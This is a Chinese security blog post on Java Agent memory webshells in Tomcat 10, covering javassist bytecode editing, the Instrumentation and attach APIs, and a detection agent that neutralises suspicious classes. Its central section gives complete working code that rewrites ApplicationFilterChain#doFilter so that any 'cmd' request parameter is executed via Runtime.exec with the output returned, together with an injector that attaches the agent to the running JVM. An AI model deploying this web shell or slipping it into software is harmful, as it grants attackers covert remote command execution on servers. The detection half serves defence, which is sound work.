JavaAgent内存马

前言

这是通过 JavaAgent + javassist 动态修改 web 服务内部关键类注入恶意代码的内存马技术。限制是需要在已经控制目标机器并且上传 Agent jar 包和 javassist 包才可以完成的注入。

环境

tomcat 环境(目标受害环境):

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.itranswarp.learnjava</groupId>
    <artifactId>web-listener</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>war</packaging>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <java.version>17</java.version>
        <tomcat.version>10.1.1</tomcat.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>${tomcat.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
            <version>${tomcat.version}</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
            <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-war-plugin</artifactId>
                <version>3.3.2</version>
            </plugin>
        </plugins>
    </build>
</project>

首先需要注意,我这里的环境是 jdk17。并且 tomcat 的版本是 10,所以 Servlet-api 下的相关包名也是不同的。环境与前文介绍的 tomcat 内存马有所不同,但大同小异。

4.0及之前的servlet-api由Oracle官方维护,引入的依赖项是javax.servlet:javax.servlet-api,编写代码时引入的包名为:

import javax.servlet.*;

而5.0及以后的servlet-api由Eclipse开源社区维护,引入的依赖项是jakarta.servlet:jakarta.servlet-api,编写代码时引入的包名为:

import jakarta.servlet.*;

Javassist

Javassist (Java Programming Assistant) makes Java bytecode manipulation simple. It is a class library for editing bytecodes in Java; it enables Java programs to define a new class at runtime and to modify a class file when the JVM loads it. Unlike other similar bytecode editors, Javassist provides two levels of API: source level and bytecode level. If the users use the source-level API, they can edit a class file without knowledge of the specifications of the Java bytecode. The whole API is designed with only the vocabulary of the Java language.

https://www.javassist.org/

我们首先来学习一下 javassist 修改字节码的常用方法。

ClassPool

ClassPoolCtClass 对象的容器。CtClass 对象必须从该对象获得。如果 get() 在此对象上调用,则它将搜索表示的各种源 ClassPath 以查找类文件,然后创建一个 CtClass 表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放 CtClass 对象的容器。

获得方法: ClassPool pool = ClassPool.getDefault();。通过 ClassPool.getDefault() 获取的 ClassPool 使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为Web服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径

pool.insertClassPath(new ClassClassPath(<Class>));

CtClass

可以将其理解成加强版的 Class 对象,我们可以通过 CtClass 对目标类进行各种操作。可以 ClassPool.get(ClassName) 中获取。

此类常用方法:

  • setSuperclass(CtClass clazz) 给类设置超类
  • addConstructor(CtConstructor c) 给类添加构造器
  • addField(CtField f) 添加给类字段
  • writeFile() 将类写入文件
  • detach() 从 ClassPool 中删除类
  • addInterface(CtClass clazz) 添加接口
  • removeMethod(CtMethod m) 删除某个方法
  • toClass 将修改后的 CtClass 加载至当前线程的上下文类加载器中
  • toBytecode 返回 CtClass 的字节码。常常用于缩短 Payload 长度的操作

CtMethod

符号 含义
$0,$1, $2, … $0 = this; $1 = args[1] …..
$args 方法参数数组。它的类型为 Object[]
$$ 所有实参。例如, m($$) 等价于 m(1,2,…)
$cflow(…) cflow 变量
$r 返回结果的类型,用于强制类型转换
$w 包装器类型,用于强制类型转换
$_ 返回值
$sig 类型为 java.lang.Class 的参数类型数组
$type 一个 java.lang.Class 对象,表示返回值类型
$class 一个 java.lang.Class 对象,表示当前正在修改的类

同理,可以理解成加强版的 Method 对象。可通过 CtClass.getDeclaredMethod(MethodName) 获取,该类提供了一些方法以便我们能够直接修改方法体

  • getDeclaredMethod(String name, CtClass[] params) 通过 ctCtlass 获得对应的 ctMethod
  • setBody(String src) 设置方法体
  • insertBefore(String src) 插入在方法体最前面插入内容
  • insertAfter(String src) 在方法体最后插入内容
  • insertAt(int lineNum, String src) 在方法体某一行插入内容
  • setModifiers(int mod) 设置 Field 的方法修饰符,可选 Modifier.PRIVATE

当然也可以通过创建一个 CtMethod 对象给我们创建的类进行添加方法如:

CtMethod sayHello = new CtMethod(CtClass.voidType, "sayHello", new CtClass[]{ctStringClass}, person);
                  //参数意思分别是(返回值,方法名,接收的参数,要设置的 CtClass 对象)
person.addMethod(sayHello);

CtField

可以直接创造一个 CtField 对象,下面是构造器

public CtField(CtClass type, String name, CtClass declaring) throws CannotCompileException {
        this(Descriptor.of(type), name, declaring);
    }

需要提供属性类,属性名,以及添加的对应 CtClass 对象

常用方法:

  • setModifiers(int mod) 设置 Field 的方法修饰符,可选 Modifier.PRIVATE

很遗憾并没有找到修改属性值的方法,但是可以通过反射操作完成。

CtConstructor

同样的我们可以创建一个 CtConstructor 对象并添加到 CtClass 中

 public CtConstructor(CtClass[] parameters, CtClass declaring) {
        this((MethodInfo)null, declaring);
        ConstPool cp = declaring.getClassFile2().getConstPool();
        String desc = Descriptor.ofConstructor(parameters);
        this.methodInfo = new MethodInfo(cp, "<init>", desc);
        this.setModifiers(1);
    }

CtNewConstructor

make(String src, CtClass declaring)

可以用这个类的 make 方法快速的创建一个 Ct构造器 如

CtConstructor constructor = CtNewConstructor.make("public Person(){}",person);

CtNewMethod

CtMethod make(String src, CtClass declaring) 

可以用这个类的 make 方法快速的创建一个 Ct 方法如:

CtMethod aaa = CtNewMethod.make("public void aaa(String a){System.out.println(a);}", person);

也可以快速创建 setter 和 getter 方法

  • public static CtMethod CtMethod setter(String methodName, CtField field)

  • public static CtMethod CtMethod getter(String methodName, CtField field)

运行如下代码,可以创建出一个 class 文件,可以发现,并不能修改属性值

import javassist.*;

import java.io.IOException;

public class JavassistTest {
    public static void createObject() throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();
        // 创建对象
        CtClass person = classPool.makeClass("org.example.Person");

        // 设置超类
        CtClass ctObjectClass = classPool.getCtClass("java.lang.Object");
        person.setSuperclass(ctObjectClass);

        // 创建 name 字段,private name
        CtField name = new CtField(classPool.get("java.lang.String"), "name", person);
        name.setModifiers(Modifier.PRIVATE);
        person.addField(name, CtField.Initializer.constant("Shule"));

        CtField age = new CtField(classPool.get("java.lang.Integer"), "age", person);
        age.setModifiers(Modifier.PRIVATE);
        person.addField(age);

        // 获取 ctString 类,便于后续处理
        CtClass ctStringClass = classPool.getCtClass("java.lang.String");

        // 创建一个 Person 的有参构造器
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{ctStringClass}, person);
        ctConstructor.setBody("{$0.name=$1;}");
        person.addConstructor(ctConstructor);

        // 创建一个私有的无参构造方法
        CtMethod voidMethod = new CtMethod(CtClass.voidType, "voidMethod", new CtClass[]{ctStringClass}, person);
        voidMethod.setModifiers(Modifier.PRIVATE);
        voidMethod.setBody("{System.out.println(\"123456\");}");
        person.addMethod(voidMethod);

        // 添加 setter 和 getter 方法
        person.addMethod(CtNewMethod.setter("setName", name));
        person.addMethod(CtNewMethod.getter("getName", name));

        // 添加一个 sayHello 的方法
        CtMethod sayHello = new CtMethod(CtClass.voidType, "sayHello", new CtClass[]{ctStringClass}, person);
        sayHello.setModifiers(Modifier.PUBLIC);
        sayHello.setBody("{System.out.println(\"Hello \" + $1);}");
        person.addMethod(sayHello);

        // 用 CtNewMethod 快速创建一个方法
        CtMethod AAA = CtNewMethod.make("public void aaa(String a){System.out.println(a);}", person);
        person.addMethod(AAA);

        CtMethod aaa = person.getDeclaredMethod("aaa");
        aaa.insertAfter("System.out.println(123456);");

        // 用 CtNewConstructor 快速创建一个构造器
        CtConstructor constructor = CtNewConstructor.make("public Person(Integer a){a = 19;$0.age=a;}",person);
        person.addConstructor(constructor);

        person.writeFile("path\\target");
        // . detach() 从ClassPool中删除类

    }
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        JavassistTest.createObject();
    }
}

结果如下:

image-20230123170020527

Java Agent

既然要介绍 Java Agent 内存马,那必须得先知道这是什么东东。

Java Agent 是一种不影响正常编译的前提下,借助 Instrumentation API 修改 Java 字节码,进而动态地修改已经加载或未加载的类、熟悉和方法的技术。实际上 Java Agent 是一个精心设计的 Jar 包

主要有两个方法,一种是在 JVM 启动前加载的 premain-Agent(静态加载),另一种是 JVM 启动后加载的agentmain-Agent(动态加载)。

premain-Agent 是静态加载方式,加载命令行如下示例:

java -javaagent:agent.jar -jar application.jar

agentmain-Agent 动态加载使用 Java Attach API.

可以用 maven 生成 agent.jar。示例:对于如下 xml 运行 mvn:package 即可将 org.example.PreMainTraceAgent 打包成 jar 包

        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-jar-plugin</artifactId>
          <version>3.1.0</version>
          <configuration>
            <archive>
              <!--自动添加META-INF/MANIFEST.MF -->
              <manifest>
                <addClasspath>true</addClasspath>
              </manifest>
              <manifestEntries>
                <Premain-Class>org.example.PreMainTraceAgent</Premain-Class>
                <Agent-Class>org.example.PreMainTraceAgent</Agent-Class>
                <Can-Redefine-Classes>true</Can-Redefine-Classes>
                <Can-Retransform-Classes>true</Can-Retransform-Classes>
              </manifestEntries>
            </archive>
          </configuration>
        </plugin>

agentmain

代理执行的入口点以及我们需要编写的方法为:

public static void agentmain(String args, Instrumentation inst)

premain-Agent

代理执行的入口点以及我们需要编写的方法为:

 public static void premain(String agentArgs, Instrumentation inst)

在具体介绍之前我们还需要了解下面这几个类

Instrumentation

Instrumentation 是一个接口,使用其开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至可以替换和修改某些类的定义。常用方法如下:

public interface Instrumentation {
    //增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

    //在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    //删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    //在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    //判断一个类是否被修改
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    //获取一个对象的大小
    long getObjectSize(Object objectToSize);
}

VirtualMachine

com.sun.tools.attach.VirtualMachine 类可以实现获取 JVM 信息,内存 dump、现成 dump、类信息统计(例如 JVM 加载的类)等功能。

由于默认情况下 maven 不会将 com.sun 包添加到项目,我们需要手动添加 : Project Settings -> Libraries -> +,当然也可以像我一样显性地在 pom.xml 中添加如下内容:

    <dependency>
      <groupId>com.sun</groupId>
      <artifactId>tools</artifactId>
      <version>1.8.0</version>
      <scope>system</scope>
      <systemPath>C:\\Program Files\\Java\\jdk1.8.0_311\\lib\\tools.jar</systemPath>
    </dependency>

该类允许我们通过给 attach 方法传入一个 JVM 的 PID,来远程连接到该 JVM 上 ,之后我们就可以对连接的 JVM 进行各种操作,如注入 Agent。下面是该类的主要方法

//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent() // 填写 jar 包路径,能够动态加载 agent 并调用类中的 agentmain 方法

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()

transform

在Instrumentation接口中,我们可以通过 addTransformer() 来添加一个 transformer (转换器),关键属性就是 ClassFileTransformer 接口。可以利用 ClassFileTransformer 当中的 transform 方法则完成了类定义的替换。

注入 Agent 内存马示例

我们的目标是注入 tomcat 中的内存马。在前文中观察 servlet 和 filter 的调用栈可以发现,都会经过 ApplicationFilter#doFilter。而 Listener 的话比较好控制的地方是 StandardContext#fireRequestDestroyEvent,然而不容易获得 response 对象从而获得回显,Valve 同样也是,不是说不行,而是不够好。因此我们就从 ApplicationFilter#doFilter 注入介绍流程。

我们首先需要制作好恶意的 Agent.jar 文件,然后才能通过动态代理的方式进行注入。代码如下:

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;


public class AgentMainTest {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();
        for(Class cls : classes){
            if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
                //添加一个 transformer 到 Instrumentation,并重新触发目标类加载
                inst.addTransformer(new DefineTransformer(),true);
                inst.retransformClasses(cls);
            }
        }
    }
    static class DefineTransformer implements ClassFileTransformer {
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            System.out.println("loader: " + loader.getName() + " className:" + className);
            try {
                //获取 CtClass 对象的容器 ClassPool
                ClassPool classPool = ClassPool.getDefault();
                //添加额外的类搜索路径
                if (classBeingRedefined != null) {
                    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                    classPool.insertClassPath(ccp);
                }
                //获取目标类
                CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
                //获取目标方法
                CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
                //设置方法体
                String body = "{" +
                        "jakarta.servlet.http.HttpServletRequest request = $1\n;" +
                        "String cmd=request.getParameter(\"cmd\");\n" +
                        "if (cmd!=null){\n" +
                        "  java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
                        "java.io.PrintWriter writer = $2.getWriter();" +
                        "java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter(\"\\\\A\");" +
                        "String result = scanner.hasNext()?scanner.next():\"\";" +
                        "scanner.close();writer.write(result);" +
                        "writer.flush();writer.close();\n" +
                        "  }else{internalDoFilter($1,$2);}"+
                        "}";
                ctMethod.setBody(body);
                //返回目标类字节码
                byte[] bytes = ctClass.toBytecode();
                return bytes;

            }catch (Exception e){
                e.printStackTrace();
            }
            return null;
        }
    }

}

可以很容易看到我们动态代理的逻辑,可以获得运行加载中的所有类,并且通过 javassist 进行字节码的修改并使修改后的类重新加载。

然后就是注入类,由于我的 tomcat 启动是通过 com.itranswarp.learnjava.Main 启动的,因此代码逻辑如下:

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class GetPID {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor virtualMachineDescriptor :list) {
            if (virtualMachineDescriptor.displayName().equals("com.itranswarp.learnjava.Main")) {
                String id = virtualMachineDescriptor.id();
                VirtualMachine attach = VirtualMachine.attach(id);
                attach.loadAgent("JavaAgent-1.0-SNAPSHOT.jar");
                attach.detach();
            }
        }
    }
}

由于 tomcat 与众多框架一样是懒加载模式,我们在启动 tomcat 服务后需要人为访问一次 web 才可以加载出 org.apache.catalina.core.ApplicationFilterChains

然后再运行 GetPID#Main 进行注入,一次即可注入成功

firefox_fKNdZfbSPN

并且访问其它页面都是正常

firefox_QN8ROkckUM

内存马的排查

其实前面说了那么多,我只是想介绍一下如何排查通过反序列化注入内存马的思路。既然我们可以通过 Java Agent 动态的改变类方法的逻辑,我们也同样可以用这个方法进行判断恶意的内存类,并修改成无害的代码。

下面写了个简单的示例,完整代码见:https://github.com/Shulelk/killmeshell/

package org.example.agentmain;


import javassist.*;
import javassist.bytecode.CodeAttribute;
import javassist.bytecode.CodeIterator;
import javassist.bytecode.MethodInfo;
import javassist.bytecode.Opcode;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;

public class AgentMain {
    public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {
        Class[] classes = inst.getAllLoadedClasses();
        for (Class cls : classes) {
            Class superclass = cls.getSuperclass();
            if (superclass != null) {
                String superclassName = superclass.getName();
                if (superclassName.contains("HttpServlet") || superclassName.contains("ws.Endpoint")) {
                    inst.addTransformer(new CheckEvilTransformer(), true);
                    inst.retransformClasses(cls);
                    continue;
                }
                Class[] interfaces = cls.getInterfaces();
                for (Class inter : interfaces) {
                    String interfaceName = inter.getName();
                    if (interfaceName.equals("javax.servlet.ServletRequestListener") || interfaceName.equals("jakarta.servlet.ServletRequestListener")
                            || interfaceName.equals("javax.servlet.Servlet") || interfaceName.equals("jakarta.servlet.Servlet")
                            || interfaceName.equals("org.apache.catalina.Valve") || interfaceName.equals("org.apache.catalina.Container")
                    || interfaceName.equals("javax.servlet.Filter") || interfaceName.equals("jakarta.servlet.Filter")) {
                        inst.addTransformer(new CheckEvilTransformer(), true);
                        inst.retransformClasses(cls);
                        break;
                    }
                }
            }
        }
    }
    static class CheckEvilTransformer implements ClassFileTransformer {
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            CtClass ctClass = null;
            try {
                //获取CtClass 对象的容器 ClassPool
                ClassPool classPool = ClassPool.getDefault();
                //添加额外的类搜索路径
                if (classBeingRedefined != null) {
                    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                    classPool.insertClassPath(ccp);
                }
                //获取目标类
                ctClass = classPool.makeClass(new java.io.ByteArrayInputStream(classfileBuffer), false);
                //获取目标方法
                CtMethod[] declaredMethods = ctClass.getDeclaredMethods();
                for (CtMethod ctMethod : declaredMethods) {
                    MethodInfo methodInfo = ctMethod.getMethodInfo();
                    CodeAttribute codeAttribute = methodInfo.getCodeAttribute();
                    if (codeAttribute != null) {
                        CodeIterator codeIterator = codeAttribute.iterator();
                        while (codeIterator.hasNext()) {
                            int index = codeIterator.next();
                            int op = codeIterator.byteAt(index);
                            if (op == Opcode.INVOKESTATIC || op == Opcode.INVOKEVIRTUAL || op == Opcode.INVOKESPECIAL) {
                                int constPoolIndex = codeIterator.u16bitAt(index + 1);
                                String invokedMethod = methodInfo.getConstPool().getMethodrefClassName(constPoolIndex) + "."
                                        + methodInfo.getConstPool().getMethodrefName(constPoolIndex);
                                if (invokedMethod.contains("Runtime") || invokedMethod.contains("exec") || invokedMethod.contains("ProcessBuilder")
                                        || invokedMethod.contains("Class.forName") || invokedMethod.contains("ClassLoader.defineClass")
                                ) {
                                    //设置方法体
                                    String body;
                                    if (ctMethod.getName().equals("doFilter")) {
                                        body = "{$3.doFilter($1,$2);}";
                                    } else {
                                        body = "{System.out.println(\"Hacker!\");}";
                                    }
                                    ctMethod.setBody(body);
                                }
                            }
                        }
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
            try {
                return ctClass.toBytecode();
            } catch (IOException | CannotCompileException e) {
                return null;
            }
        }
    }
}

pom.xml: 记得把 javassist 依赖打包进去

<build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>3.1.0</version>
                <configuration>
                    <archive>
                        <manifest>
                            <addClasspath>true</addClasspath>
                        </manifest>
                        <manifestEntries>
                            <Premain-Class>org.example.agentmain.AgentMainTest</Premain-Class>
                            <Agent-Class>org.example.agentmain.AgentMainTest</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                </configuration>
            </plugin>

            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <version>3.3.0</version>
                <configuration>
                    <archive>
                        <manifestEntries>
                            <Premain-Class>org.example.agentmain.AgentMainTest</Premain-Class>
                            <Agent-Class>org.example.agentmain.AgentMainTest</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇